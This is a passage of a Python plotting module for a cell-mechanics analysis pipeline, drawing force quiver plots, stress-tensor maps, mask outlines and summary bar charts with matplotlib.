bar_plot_ax(ax, values, labels, at=False, types=None, vmax=None):\n pos = list(chain.from_iterable([[p - 0.2, p + 0.2] for p in range(int(len(values) / 2))]))\n # figsize = (1.4 * len(pos), 4.8)\n\n # fig = plt.figure(figsize=figsize)\n\n # plt.bar(pos[::2],values_r[::2],width=0.4, color=\"#729fcf\",label=\"backwards\",alpha=0.83)\n # plt.bar(pos[1::2], values_r[1::2], width=0.4, color=\"#cc0066\",label=\"forwards\",alpha=0.83)\n ax.bar(pos[::2], values[::2], width=0.4, color=\"C1\", label=\"backwards\", alpha=1)\n ax.bar(pos[1::2], values[1::2], width=0.4, color=\"C2\", label=\"forwards\", alpha=1)\n for px, py in zip(pos, values):\n if py < np.inf:\n if py < 10 ** -15:\n t = \"0\"\n else:\n if np.abs(np.log(py)) > 3:\n t = \"%.1e\" % py\n else:\n t = \"%.2f\" % py\n ax.text(px, py, t, color=\"black\", fontsize=15, horizontalalignment=\"center\", verticalalignment=\"bottom\")\n\n if not isinstance(vmax, (int, float)):\n vmax = np.max(values)\n ax.set_ylim((0, vmax * 1.1))\n # plt.xticks(pos,lables,rotation=\"70\",fontsize=15)\n ax.set_xticks(list(range(int(len(labels) / 2))))\n ax.tick_params(axis=\"both\", which=\"both\", color=\"black\", length=4, width=2, labelsize=20, labelcolor=\"black\",\n labelbottom=False)\n set_axis_attribute(ax, \"set_color\", \"black\")\n set_axis_attribute(ax, \"set_linewidth\", 2)\n if at and isinstance(types, (dict, defaultdict)):\n if \"m\" in types.keys():\n plt.title(types[\"m\"])\n\n # ax.tight_layout()\n return ax\n\n\ndef bar_plots_pylu(key_values):\n values1 = [key_values[\"contractile_force_b\"] / key_values[\"contractile_force_b\"],\n key_values[\"contractile_force_f\"] / key_values[\"contractile_force_b\"]]\n labels1 = [\"contractility\", \"contractility\"]\n values2 = [key_values['mean_normal_stress_b'], key_values['mean_normal_stress_f'], key_values[\"max_shear_b\"],\n key_values[\"max_shear_f\"]]\n labels2 = [\"mean normal stress\", \"mean normal stress\", \"mean shear stress\", \"mean shear stress\"]\n values3 = [key_values[\"cv_b\"], key_values[\"cv_f\"]]\n lables3 = [\"cv\", \"cv\"]\n\n # import pylustrator\n # pylustrator.start()\n\n fig, axs = plt.subplots(1, 3)\n bar_plot_ax(axs[0], values1, labels1, at=False, types=None, vmax=1)\n bar_plot_ax(axs[1], values2, labels2, at=False, types=None, vmax=1)\n bar_plot_ax(axs[2], values3, lables3, at=False, types=None, vmax=1)\n\n fig.ax_dict = {ax.get_label(): ax for ax in fig.axes}\n fig.set_size_inches(24.580000 / 2.54, 12.050000 / 2.54, forward=True)\n fig.axes[0].set_position([0.086072, 0.193550, 0.138920, 0.701868])\n fig.axes[0].texts[0].set_fontsize(14)\n fig.axes[0].texts[1].set_fontsize(14)\n fig.axes[1].set_position([0.389371, 0.193550, 0.301451, 0.770000])\n fig.axes[1].texts[0].set_fontsize(14)\n fig.axes[1].texts[0].set_rotation(0.0)\n fig.axes[1].texts[1].set_fontsize(14)\n fig.axes[1].texts[2].set_fontsize(14)\n fig.axes[1].texts[2].set_position([0.800000, 0.021978])\n fig.axes[1].texts[2].set_rotation(0.0)\n fig.axes[1].texts[3].set_fontsize(14)\n fig.axes[1].texts[3].set_position([1.193033, 0.021978])\n fig.axes[1].texts[3].set_rotation(0.0)\n fig.axes[1].texts[3].set_text(\"2.7e-8\")\n fig.axes[1].get_yaxis().get_major_ticks()[0].label1.set_fontsize(15)\n fig.axes[1].get_yaxis().get_major_ticks()[1].label1.set_fontsize(15)\n fig.axes[1].get_yaxis().get_major_ticks()[2].label1.set_fontsize(15)\n fig.axes[1].get_yaxis().get_major_ticks()[3].label1.set_fontsize(15)\n fig.axes[1].get_yaxis().get_major_ticks()[4].label1.set_fontsize(15)\n fig.axes[1].get_yaxis().get_major_ticks()[5].label1.set_fontsize(15)\n fig.axes[1].get_yaxis().get_major_ticks()[6].label1.set_fontsize(15)\n fig.axes[2].set_position([0.830096, 0.193550, 0.152689, 0.770000])\n fig.axes[2].texts[0].set_fontsize(14)\n fig.axes[2].texts[0].set_position([-0.223257, 0.021978])\n fig.axes[2].texts[1].set_fontsize(14)\n fig.axes[2].get_yaxis().get_major_ticks()[0].label1.set_fontsize(15)\n fig.axes[2].get_yaxis().get_major_ticks()[1].label1.set_fontsize(15)\n fig.axes[2].get_yaxis().get_major_ticks()[2].label1.set_fontsize(15)\n fig.axes[2].get_yaxis().get_major_ticks()[3].label1.set_fontsize(15)\n fig.axes[2].get_yaxis().get_major_ticks()[4].label1.set_fontsize(15)\n fig.axes[2].get_yaxis().get_major_ticks()[5].label1.set_fontsize(15)\n fig.axes[2].get_yaxis().get_major_ticks()[6].label1.set_fontsize(15)\n\n fig.ax_dict = {ax.get_label(): ax for ax in fig.axes}\n\n fig.axes[1].texts[2].set_position([0.772830, 0.021978])\n fig.axes[1].texts[3].set_text(str(np.round(values2[3],3)))\n # % start: automatic generated code from pylustrator\n fig.ax_dict = {ax.get_label(): ax for ax in fig.axes}\n # import matplotlib as mpl\n fig.axes[0].set_position([0.086072, 0.193550, 0.138920, 0.770000])\n fig.axes[0].get_yaxis().get_major_ticks()[0].label1.set_fontsize(15)\n fig.axes[0].get_yaxis().get_major_ticks()[1].label1.set_fontsize(15)\n fig.axes[0].get_yaxis().get_major_ticks()[2].label1.set_fontsize(15)\n fig.axes[0].get_yaxis().get_major_ticks()[3].label1.set_fontsize(15)\n fig.axes[0].get_yaxis().get_major_ticks()[4].label1.set_fontsize(15)\n fig.axes[0].get_yaxis().get_major_ticks()[5].label1.set_fontsize(15)\n fig.axes[1].set_position([0.386269, 0.193550, 0.301451, 0.770000])\n # % end: automatic generated code from pylustrator\n # plt.show()\n\n return fig\n\n\ndef display_stress_tensor(stress_tensor, mask=None, title_str=\"\"):\n fig, axs = plt.subplots(1, 3)\n plt.suptitle(title_str)\n im = axs[0].imshow(stress_tensor[:, :, 0, 0])\n axs[0].set_title(\"sig_xx\", x=0.5, y=0.9, transform=axs[0].transAxes, color=\"white\")\n # plt.colorbar(im)\n im = axs[1].imshow(stress_tensor[:, :, 1, 1])\n axs[1].set_title(\"sig_yy\", x=0.5, y=0.9, transform=axs[1].transAxes, color=\"white\")\n im = axs[2].imshow(stress_tensor[:, :, 1, 0])\n axs[2].set_title(\"sig_xy\", x=0.5, y=0.9, transform=axs[2].transAxes, color=\"white\")\n\n return fig\n\n\ndef set_axis_attribute(ax, attribute, value):\n for p in [\"left\", \"bottom\", \"right\", \"top\"]:\n if hasattr(ax.spines[p], attribute):\n try:\n getattr(ax.spines[p], attribute)(value)\n except:\n setattr(ax.spines[p], attribute, value)\n else:\n raise AttributeError(\"Spines object has no attribute \" + attribute)\n\n\ndef get_axis_attribute(ax, attribute):\n l = []\n for p in [\"left\", \"bottom\", \"right\", \"top\"]:\n l.append(getattr(ax.spines[p], attribute))\n return l\n\n\ndef draw_outline(ax, do=True, lw=2, color=\"black\"):\n if do:\n ax.set_axis_on()\n ax.tick_params(axis=\"both\", which=\"both\", bottom=False, left=False, labelbottom=False,\n labelleft=False)\n set_axis_attribute(ax, \"set_visible\", True)\n set_axis_attribute(ax, \"set_linewidth\", lw)\n set_axis_attribute(ax, \"set_color\", color)\n\n\ndef name_add(add=\"\", cb=False, dm=False):\n if dm:\n add = add + \"ma\"\n if cb:\n add = add + \"cb\"\n return add\n\n\ndef draw_cbar_only(vmin, vmax, aspect=8, shrink=1, cbar_axes_fraction=1.2, cmap=\"coolwarm\", tick_length=4, tick_width=2,\n labelsize=20, lablecolor=\"black\"):\n # cbar for stress\n fig = plt.figure(figsize=(3.2, 4.75))\n plt.gca().set_axis_off()\n cbar = add_colorbar(vmin=vmin, vmax=vmax, aspect=aspect, shrink=shrink, cbar_axes_fraction=cbar_axes_fraction,\n cmap=cmap,\n cbar_style=\"not-clickpoints\")\n set_axis_attribute(cbar.ax, \"set_color\", \"black\")\n cbar.ax.tick_params(axis=\"both\", which=\"both\", color=\"black\", length=tick_length, width=tick_width,\n labelsize=labelsize, labelcolor=lablecolor)\n return fig\n\n\ndef show_forces_forward(fx_f=None, fy_f=None, figsize=None, arrow_scale=None, arrow_width=None\n , headlength=None, headwidth=None, headaxislength=None, cmap=None, max_dict=None, cb=None,\n do=None, at=None, dm=None, types=None, mask=None, display_type=None,\n mask_fm=None, mask_fm_color=None, out_folder=None, ext=None, add_name=\"\", show_fm=False,\n **kwargs):\n fig, ax = show_quiver(fx_f, fy_f, figsize=figsize, scale_ratio=arrow_scale - 0.03, filter=[0, 10],\n width=arrow_width,\n headlength=headlength, headwidth=headwidth,\n headaxislength=headaxislength, cbar_tick_label_size=30, cmap=cmap,\n cbar_style=\"not-clickpoints\",\n vmin=0, vmax=max_dict[\"force\"], plot_cbar=cb)\n draw_outline(ax, do=do)\n add_title(fig, types[\"f_f\"], at=at)\n display_mask(fig, cut_arrays(fx_f.shape, mask, mode=\"match\"), display_type=display_type, dm=dm)\n if isinstance(mask_fm, np.ndarray) and show_fm:\n display_mask(fig, cut_arrays(fx_f.shape, mask_fm, mode=\"match\"), display_type=display_type, color=mask_fm_color,\n d=np.sqrt(2), dm=dm)\n\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, types[\"f_f\"] + name_add(add=add_name, cb=cb, dm=dm) + ext))\n return fig, ax\n\n\ndef general_display(plot_types=[], pixelsize=1, display_type=\"outline\", f_type=\"not circular\", cmap=\"coolwarm\"\n , max_dict=defaultdict(lambda: None),\n mean_normal_list=None, mask_exp_list=None, out_folder=\"\", fields={},\n border_ex_test=None, be_avm_list=None, scalar_comaprisons=None,\n key_values=None, plot_gt_exp=True, dm=True, at=True, cb=True, do=True):\n '''\n plot_types=[\"deformation_forward\",\"deformation_backwards\",\"mask\",\"forces_forward\",\"forces_forward\",\"shear_forward\",\"mean_normal_stress_forward\",\n \"shear_backward\",\"mean_normal_stress_backward\",\"full_stress_tensor_forward\",\"full_stress_tensor_backward\"]\n\n :param plot_types:\n :param pixelsize:\n :return:\n '''\n u_b, v_b, fx_b, fy_b, fx_f, fy_f, stress_tensor_f, stress_tensor_b, mask_fm, mask_fem, mask = \\\n [fields[x] for x in\n [\"u_b\", \"v_b\", \"fx_b\", \"fy_b\", \"fx_f\", \"fy_f\", \"stress_tensor_f\", \"stress_tensor_b\", \"mask_fm\", \"mask_fem\",\n \"mask\"]]\n figs = {}\n createFolder(out_folder)\n types = {\"def_f\": \"deformation_forward\", \"def_b\": \"deformation_backwards\", \"mask\": \"mask\",\n \"f_f\": \"forces_forward\", \"f_b\": \"forces_backward\", \"st_f\": \"full_stress_tensor_forward\",\n \"st_b\": \"full_stress_tensor_backward\", \"sh_f\": \"shear_forward\", \"sh_b\": \"shear_backward\",\n \"norm_f\": \"mean_normal_stress_forward\", \"norm_b\": \"mean_normal_stress_backward\",\n \"m\": \"key measures\", \"r\": \"correlation\", \"exp_test1\": \"be1\", \"exp_test2\": \"be2\",\n \"exp_test3\": \"be3\", \"exp_test4\": \"be4\", \"exp_test5\": \"be5\",\n \"mask_outline\": \"mask_outline\", \"cbars\": \"cbars_only\"}\n\n figsize = (7, 7)\n arrow_scale = 0.13 # 0.1\n arrow_width = 0.004\n headlength = 4\n headwidth = 4 # 6\n headaxislength = 3\n ext = \".svg\"\n mask_fm_color = \"C2\"\n mask_fem_color = \"#666666\"\n\n ps_new_ex = 0.845 # pixelsize when using windowsize 20, overlapp 19.25\n vmax_x_ep = 65 * 0.845\n pd = {\"figsize\": figsize,\n \"arrow_scale\": arrow_scale,\n \"arrow_width\": arrow_width,\n \"headlength\": headlength,\n \"headwidth\": headwidth,\n \"headaxislength\": headaxislength,\n \"ext\": ext,\n \"mask_fm_color\": mask_fm_color,\n \"mask_fem_color\": mask_fem_color}\n paras = {**locals(), **pd}\n\n if isinstance(mask_fem, np.ndarray):\n mask_fem = mask_fem.astype(bool)\n\n if types[\"def_b\"] in plot_types or plot_types == \"all\":\n fig, ax = show_quiver(u_b, v_b, scale_ratio=arrow_scale, filter=[0, 5], width=arrow_width,\n headlength=headlength, headwidth=headwidth,\n headaxislength=2, cbar_tick_label_size=30,\n cmap=cmap, cbar_style=\"not-clickpoints\", vmin=0, vmax=max_dict[\"def\"], plot_cbar=cb)\n draw_outline(ax, do=do)\n add_title(fig, types[\"def_b\"], at=at)\n display_mask(fig, mask, display_type=display_type, dm=dm)\n display_mask(fig, mask_fm, display_type=display_type, color=mask_fm_color, d=np.sqrt(2), dm=dm)\n fig.savefig(os.path.join(out_folder, types[\"def_b\"] + name_add(cb=cb, dm=dm) + ext))\n\n if types[\"cbars\"] in plot_types or plot_types == \"all\":\n # cbar for stress\n fig = plt.figure(figsize=(3.2, 4.75))\n plt.gca().set_axis_off()\n cbar = add_colorbar(vmin=0, vmax=1 + 0.01, aspect=8, shrink=1, cbar_axes_fraction=1.2, cmap=cmap,\n cbar_style=\"not-clickpoints\")\n set_axis_attribute(cbar.ax, \"set_color\", \"black\")\n cbar.ax.tick_params(axis=\"both\", which=\"both\", color=\"black\", length=4, width=2, labelsize=20,\n labelcolor=\"black\")\n fig.savefig(os.path.join(out_folder, types[\"cbars\"] + \"force\" + name_add(cb=cb, dm=dm) + ext))\n\n # cbar for stress\n fig = plt.figure(figsize=(3.2, 4.75))\n plt.gca().set_axis_off()\n cbar = add_colorbar(vmin=0, vmax=1 + 0.01, aspect=8, shrink=1, cbar_axes_fraction=1.2, cmap=cmap,\n cbar_style=\"not-clickpoints\")\n set_axis_attribute(cbar.ax, \"set_color\", \"black\")\n cbar.ax.tick_params(axis=\"both\", which=\"both\", color=\"black\", length=4, width=2, labelsize=20,\n labelcolor=\"black\")\n fig.savefig(os.path.join(out_folder, types[\"cbars\"] + \"stress\" + name_add(cb=cb, dm=dm) + ext))\n\n if types[\"mask\"] in plot_types or plot_types == \"all\":\n fig = plt.figure()\n plt.imshow(mask)\n add_title(fig, types[\"mask\"], at=at)\n fig.savefig(os.path.join(out_folder, types[\"mask\"] + ext))\n\n if types[\"mask_outline\"] in plot_types or plot_types == \"all\":\n fig = plt.figure()\n plt.imshow(np.zeros(fx_f.shape), cmap=cmap, vmin=0, vmax=1)\n draw_outline(plt.gca(), do=do)\n display_mask(fig, mask, display_type=\"outline\", color=\"C1\", dm=True)\n display_mask(fig, mask_fm, display_type=\"outline\", color=mask_fm_color, d=np.sqrt(2), dm=True)\n display_mask(fig, mask_fem, display_type=\"outline\", color=mask_fem_color, d=np.sqrt(2), dm=True)\n\n if types[\"f_f\"] in plot_types or plot_types == \"all\":\n show_forces_forward(**paras)\n\n if types[\"f_b\"] in plot_types or plot_types == \"all\":\n\n if f_type == \"circular\":\n fx_filtered, fy_filtered = filter_arrows_for_square(fx_b, fy_b,\n filter=12) # only works when initial forces are circular\n fig, ax = show_quiver(fx_filtered, fy_filtered, figsize=figsize, scale_ratio=arrow_scale, filter=[0, 0],\n width=arrow_width,\n headlength=headlength, headwidth=headwidth,\n headaxislength=headaxislength, cbar_tick_label_size=30, cmap=cmap,\n cbar_style=\"not-clickpoints\",\n vmin=0, vmax=max_dict[\"force\"], plot_cbar=cb)\n im = fig.axes[0].imshow(np.sqrt(fx_b ** 2 + fy_b ** 2), cmap=cmap,\n vmin=0, vmax=max_dict[\"force\"])\n if cb:\n fig.axes[1].remove()\n cb = plt.colorbar(im)\n cb.ax.tick_params(labelsize=30)\n\n plt.tight_layout()\n else:\n fx_filtered, fy_filtered = fx_b, fy_b\n fig, ax = show_quiver(fx_filtered, fy_filtered, figsize=figsize, scale_ratio=arrow_scale - 0.03,\n filter=[0, 10],\n width=arrow_width,\n headlength=headlength, headwidth=headwidth,\n headaxislength=headaxislength, cbar_tick_label_size=30, cmap=cmap,\n cbar_style=\"not-clickpoints\",\n vmin=0, vmax=max_dict[\"force\"], plot_cbar=cb)\n draw_outline(ax, do=do)\n add_title(fig, types[\"f_b\"], at=at)\n display_mask(fig, mask, display_type=display_type, dm=dm)\n # display_mask(fig, mask_fm, display_type=display_type, color=mask_fm_color,d=np.sqrt(2), dm=dm)\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, types[\"f_b\"] + name_add(cb=cb, dm=dm) + ext))\n\n if types[\"sh_f\"] in plot_types or plot_types == \"all\":\n shear = stress_tensor_f[:, :, 0, 1] # shear component of the stress tensor\n fig, ax = show_map_clickpoints(shear, show_mask=mask_fem, figsize=figsize, cbar_style=\"out\", cmap=cmap,\n cbar_tick_label_size=30, vmin=0, vmax=max_dict[\"stress\"], plot_cbar=cb)\n draw_outline(ax, do=do)\n add_title(fig, types[\"sh_f\"], at=at)\n display_mask(fig, mask, display_type=display_type, dm=dm)\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, types[\"sh_f\"] + name_add(cb=cb, dm=dm) + ext))\n if types[\"norm_f\"] in plot_types or plot_types == \"all\":\n mean_normal_stress = ((stress_tensor_f[:, :, 0, 0] + stress_tensor_f[:, :, 1, 1]) / 2)\n mean_normal_stress[~mask_fem] = np.nan\n fig, ax = show_map_clickpoints(mean_normal_stress, show_mask=mask_fem, figsize=figsize, cbar_style=\"out\",\n background_color=\"white\",\n cmap=cmap,\n cbar_tick_label_size=30, vmin=0, vmax=max_dict[\"stress\"], plot_cbar=cb)\n draw_outline(ax, do=do)\n add_title(fig, types[\"norm_f\"], at=at)\n display_mask(fig, mask, display_type=display_type, dm=dm)\n plt.tight_layout()\n # display_mask(fig, mask_fem, display_type=display_type, color=mask_fem_color, d=np.sqrt(2), dm=dm)\n fig.savefig(os.path.join(out_folder, types[\"norm_f\"] + name_add(cb=cb, dm=dm) + ext))\n\n if types[\"sh_b\"] in plot_types or plot_types == \"all\":\n shear = stress_tensor_b[:, :, 0, 1] # shear component of the stress tensor\n fig, ax = show_map_clickpoints(shear, show_mask=mask_fem, figsize=figsize, cbar_style=\"out\", cmap=cmap,\n cbar_tick_label_size=30, vmin=0, vmax=max_dict[\"stress\"], plot_cbar=cb)\n display_mask(fig, mask, display_type=display_type, dm=dm)\n draw_outline(ax, do=do)\n add_title(fig, types[\"sh_b\"], at=at)\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, types[\"sh_b\"] + name_add(cb=cb, dm=dm) + ext))\n\n if types[\"norm_b\"] in plot_types or plot_types == \"all\":\n mean_normal_stress = ((stress_tensor_b[:, :, 0, 0] + stress_tensor_b[:, :, 1, 1]) / 2)\n mean_normal_stress[~mask_fem] = np.nan\n fig, ax = show_map_clickpoints(mean_normal_stress, show_mask=np.ones(mean_normal_stress.shape), figsize=figsize,\n cbar_style=\"out\", background_color=\"white\",\n cmap=cmap, cbar_tick_label_size=30, vmin=0, vmax=max_dict[\"stress\"],\n plot_cbar=cb)\n draw_outline(ax, do=do)\n add_title(fig, types[\"norm_b\"], at=at)\n display_mask(fig, mask, display_type=display_type, dm=dm)\n # display_mask(fig, mask_fem, display_type=display_type, color=mask_fem_color, d=np.sqrt(2), dm=dm)\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, types[\"norm_b\"] + name_add(cb=cb, dm=dm) + ext))\n\n if types[\"st_f\"] in plot_types or plot_types == \"all\":\n fig = display_stress_tensor(stress_tensor_f, mask, title_str=types[\"st_f\"])\n display_mask(fig, mask, display_type=display_type, type=2, dm=dm)\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, types[\"st_f\"] + name_add(cb=cb, dm=dm) + ext))\n\n if types[\"st_b\"] in plot_types or plot_types == \"all\":\n fig = display_stress_tensor(stress_tensor_b, mask, title_str=types[\"st_b\"])\n display_mask(fig, mask, display_type=display_type, type=2, dm=dm)\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, types[\"st_b\"] + name_add(cb=cb, dm=dm) + ext))\n\n if types[\"m\"] in plot_types or plot_types == \"all\":\n fig = bar_plots_pylu(key_values)\n fig.savefig(os.path.join(out_folder, types[\"m\"] + ext))\n # values1 = [key_values[\"contractile_force_b\"],key_values[\"contractile_force_f\"]]\n # labels1 = [\"contractility\", \"contractility\"]\n # values2 =[key_values['mean_normal_stress_b'],key_values['mean_normal_stress_f'], key_values[\"mean_shear_b\"], key_values[\"mean_shear_f\"]]\n # labels2 =[\"mean normal stress\", \"mean normal stress\", \"meanshear stress\", \"mean shear stress\"]\n # values3 = [key_values[\"cv_b\"], key_values[\"cv_f\"]]\n # lables3 = [\"cv\", \"cv\"]\n\n # fig1, ax1 = bar_plot(ax, values1, labels1, at=False, types=types)\n # fig1.savefig(os.path.join(out_folder, types[\"m\"] + \"1\" + ext))\n # fig2, ax2 = bar_plot(values2, labels2, at=False, types=types)\n # fig2.savefig(os.path.join(out_folder, types[\"m\"] + \"2\" + ext))\n # fig3, ax3 = bar_plot(values3, lables3, at=False, types=types, vmax=1)\n # fig3.savefig(os.path.join(out_folder, types[\"m\"] + \"3\" + ext))\n\n if types[\"r\"] in plot_types or plot_types == \"all\":\n rs = {key: value['r_squared'] for key, value in scalar_comaprisons.items() if\n not np.isnan(value['r_squared']) and key in [\"forces\", \"mean normal stress\"]}\n fig = plt.figure(figsize=(3.2, 4.75))\n pos = [1, 1.7]\n plt.bar(pos, list(rs.values()), width=0.4, color=\"C5\")\n # plt.xticks(rotation=\"70\",fontsize=15)\n # plt.xticks(rotation=\"70\",fontsize=15)\n plt.xticks(pos)\n plt.gca().tick_params(axis=\"both\", which=\"both\", color=\"black\", length=4, width=2, labelsize=20,\n labelcolor=\"black\", labelbottom=False)\n set_axis_attribute(plt.gca(), \"set_color\", \"black\")\n set_axis_attribute(plt.gca(), \"set_linewidth\", 2)\n if at:\n plt.title(types[\"r\"])\n plt.ylim((0, 1))\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, types[\"r\"] + ext))\n\n if types[\"exp_test1\"] in plot_types or plot_types == \"all\" and len(mean_normal_list) > 0:\n fig = show_exp_test(mean_normal_list=mean_normal_list, max_dict=max_dict, mask_exp_list=mask_exp_list)\n fig.savefig(os.path.join(out_folder, \"expansion1\" + ext))\n\n if types[\"exp_test2\"] in plot_types or plot_types == \"all\":\n # average normal stress relative to groundtruth stress\n fig = plt.figure()\n be = np.array(border_ex_test) * ps_new_ex\n if plot_gt_exp:\n plt.plot(be, be_avm_list, color=\"C3\", linewidth=5)\n plt.plot(be, [1] * (len(be_avm_list)), color=\"C4\", linewidth=5)\n plt.ylim((0, max_dict[\"stress\"] * 1.2))\n else:\n plt.plot(be, be_avm_list, color=\"C3\", linewidth=5)\n plt.ylim((0, max_dict[\"stress\"] * 1.2))\n plt.xlim(0, vmax_x_ep)\n plt.gca().tick_params(axis=\"both\", which=\"both\", color=\"black\", length=4, width=2, labelsize=20,\n labelcolor=\"black\")\n set_axis_attribute(plt.gca(), \"set_color\", \"black\")\n set_axis_attribute(plt.gca(), \"set_linewidth\", 2)\n\n # plt.title(types[\"exp_test2\"])\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, \"avg_normal_stress_expansion\" + ext))\n\n if types[\"exp_test2\"] in plot_types or plot_types == \"all\":\n # average normal stress relative to groundtruth stress\n fig = plt.figure()\n be = np.array(border_ex_test) * ps_new_ex\n be_avm_list = np.array(be_avm_list) / np.max(be_avm_list) # normalizing\n if plot_gt_exp:\n plt.plot(be, be_avm_list, color=\"C3\", linewidth=5)\n plt.plot(be, [1] * (len(be_avm_list)), color=\"C4\", linewidth=5)\n plt.ylim((0,1.1))\n else:\n plt.plot(be, be_avm_list, color=\"C3\", linewidth=5)\n plt.ylim((0, 1.1))\n plt.xlim(0, vmax_x_ep)\n plt.gca().tick_params(axis=\"both\", which=\"both\", color=\"black\", length=4, width=2, labelsize=20,\n labelcolor=\"black\")\n set_axis_attribute(plt.gca(), \"set_color\", \"black\")\n set_axis_attribute(plt.gca(), \"set_linewidth\", 2)\n\n # plt.title(types[\"exp_test2\"])\n plt.tight_layout()\n fig.savefig(os.path.join(out_folder, \"avg_normal_stress_expansion_normalized\" + ext))\n\n if types[\"exp_test3\"] in plot_types or plot_types == \"all\" and len(mean_normal_list) > 0:\n # displaying forces and masks\n nf = createFolder(os.path.join(out_folder, \"exp_plots_forces\"))\n max_dict_local = {\"force\": None }\n for i, m_exp in enumerate(mask_exp_list):\n pl = copy.deepcopy(paras)\n pl.update({\"dm\": True, \"show_fm\": True, \"mask_fm\": m_exp.astype(bool), \"add_name\": \"_exp\" + str(i),\n \"out_folder\": nf, \"max_dict\": max_dict_local, \"fx_f\": fields[\"fx_f_exp\"],\n \"fy_f\": fields[\"fy_f_exp\"], \"mask\": fields[\"mask_exp\"]})\n try:\n fig, ax = show_forces_forward(**pl)\n except RecursionError:\n pass\n\n if types[\"exp_test4\"] in plot_types or plot_types == \"all\" and len(mean_normal_list) > 0:\n sub_folder_stress = createFolder(os.path.join(out_folder, \"stresses\"))\n sub_folder_force = createFolder(os.path.join(out_folder, \"forces\"))\n for i, (ms, mask_expand) in enumerate(zip(mean_normal_list, mask_exp_list)):\n fig, ax = show_map_clickpoints(ms, cbar_style=\"out\", figsize=figsize, cmap=cmap, cbar_tick_label_size=30,\n vmin=0,\n vmax=max_dict[\"stress\"])\n add_title(fig, types[\"norm_b\"], at=at)\n display_mask(fig, mask, display_type=display_type, color=\"#FFEF00\")\n display_mask(fig, mask_expand, display_type=display_type, color=\"C3\")\n fig.savefig(os.path.join(sub_folder_stress, types[\"exp_test4\"] + \"%s\" % str(i) + ext))\n\n fig, ax = show_quiver(fx_f, fy_f, figsize=figsize, scale_ratio=arrow_scale, filter=[0, 10],\n width=arrow_width, headlength=3,\n headwidth=4,\n headaxislength=2, cbar_tick_label_size=30, cmap=cmap, cbar_style=\"not-clickpoints\",\n vmin=0, vmax=1600)\n add_title(fig, types[\"f_f\"], at=at)\n display_mask(fig, mask, display_type=display_type, color=\"#FFEF00\", dm=dm)\n display_mask(fig, mask_expand, display_type=display_type, color=\"C3\", dm=dm)\n plt.tight_layout()\n fig.savefig(os.path.join(sub_folder_force, types[\"exp_test4\"] + \"%s\" % str(i) + ext))\n\n if types[\"exp_test5\"] in plot_types or plot_types == \"all\" and len(mean_normal_list) > 0:\n\n pl = copy.deepcopy(paras)\n pl[\"dm\"] = False\n\n pl[\"figsize\"] = (np.mean(paras[\"figsize\"]) * fields[\"mask_exp\"].shape[1] / fields[\"mask_exp\"].shape[0],\n np.mean(paras[\"figsize\"]) * 1.022 * mask.shape[0] / fields[\"mask_exp\"].shape[1])\n pl[\"fx_f\"] = fields[\"fx_f_exp\"]\n pl[\"fy_f\"] = fields[\"fy_f_exp\"]\n pl[\"max_dict\"] = {\"force\" :None}\n\n fig, ax = show_forces_forward(**pl)\n ax.set_xlim(-0.5, 0.5 + fields[\"mask_exp\"].shape[1])\n ax.set_ylim(0.5 + fields[\"mask_exp\"].shape[0], -0.5)\n add_title(fig, types[\"f_f\"], at=at)\n be = np.array(border_ex_test) * ps_new_ex\n # display_mask(fig, mask_exp_list[0], display_type=display_type, color=mask_fm_color, d=np.sqrt(2), dm=True, lw=7)\n max_id = np.argmax(be_avm_list)\n\n try:\n # max_id=23\n display_mask(fig, mask_exp_list[max_id + 12], display_type=display_type, color=mask_fm_color, d=np.sqrt(2),\n dm=True,\n lw=7) # mask_exp_list[max_id+6]\n display_mask(fig, fields[\"mask_exp\"], display_type=display_type, color=\"C1\", dm=True, lw=7)\n end_id = np.argmin(np.abs(be - vmax_x_ep))\n display_mask(fig, mask_exp_list[end_id], display_type=display_type, color=mask_fm_color, d=np.sqrt(2),\n dm=True, lw=7)\n except RecursionError as e:\n print(e)\n\n ax.set_position([0, 0, 1, 1])\n fig.set_frameon(False)\n if ext == \".svg\":\n print(out_folder)\n fig.savefig(os.path.join(out_folder, \"exp_forces_example\" + ext))\n else:\n fig.savefig(os.path.join(out_folder, \"exp_forces_example\" + ext), dpi=300)\n\n\ndef show_exp_test(mean_normal_list=None, max_dict=None, mask_exp_list=None):\n n = int(np.ceil(np.sqrt(len(mean_normal_list))))\n fig, axs = plt.subplots(n, n)\n axs = axs.flatten()\n for i in range(len(mean_normal_list)):\n axs[i].imshow(mean_normal_list[i], vmax=max_dict[\"stress\"])\n axs[i].set_title(\"mean normal stress #%s\" % str(i), x=0.5, y=0.9, transform=axs[i].transAxes, color=\"white\")\n display_mask(fig, mask_exp_list[i], display_type=\"outline\", type=1, color=\"C1\", d=np.sqrt(2), ax=axs[i])\n\n return fig\n\n\ndef plot_gradient_normal_stress(stress_tensor):\n dsxx_x = np.gradient(stress_tensor[:, :, 0, 0], axis=1)\n dsyy_y = np.gradient(stress_tensor[:, :, 1, 1], axis=0)\n dsxx_y = np.gradient(stress_tensor[:, :, 0, 0], axis=0)\n dsyy_x = np.gradient(stress_tensor[:, :, 1, 1], axis=1)\n\n fig, axs = plt.subplots(2, 2)\n plt.suptitle(\"gradient\")\n im = axs[0, 0].imshow(dsxx_x)\n axs[0, 0].set_title(\"dsxx_x\", x=0.5, y=0.9, transform=axs[0, 0].transAxes, color=\"white\")\n im = axs[0, 1].imshow(dsyy_y)\n axs[0, 1].set_title(\"dsyy_y\", x=0.5, y=0.9, transform=axs[0, 1].transAxes, color=\"white\")\n im = axs[1, 0].imshow(dsxx_y)\n axs[1, 0].set_title(\"dsxx_y\", x=0.5, y=0.9, transform=axs[1, 0].transAxes, color=\"white\")\n im = axs[1, 1].imshow(dsyy_x)\n axs[1, 1].set_title(\"dsyy_x\", x=0.5, y=0.9, transform=axs[1, 1].transAxes, color=\"white\")\n\n\ndef add_title(fig, title_str, at=True):\n if at:\n ax = fig.axes[0]\n ax.set_title(title_str, x=0.5, y=0.9, transform=ax.transAxes, color=\"white\")\n\n\ndef add_mask(fig, mask):\n mask_show = make_display_mask(mask)\n ax = fig.axes[0]\n ax.imshow(mask, alpha=0.4)\n\n\ndef filter_arrows_for_square(fx, fy, filter=6):\n 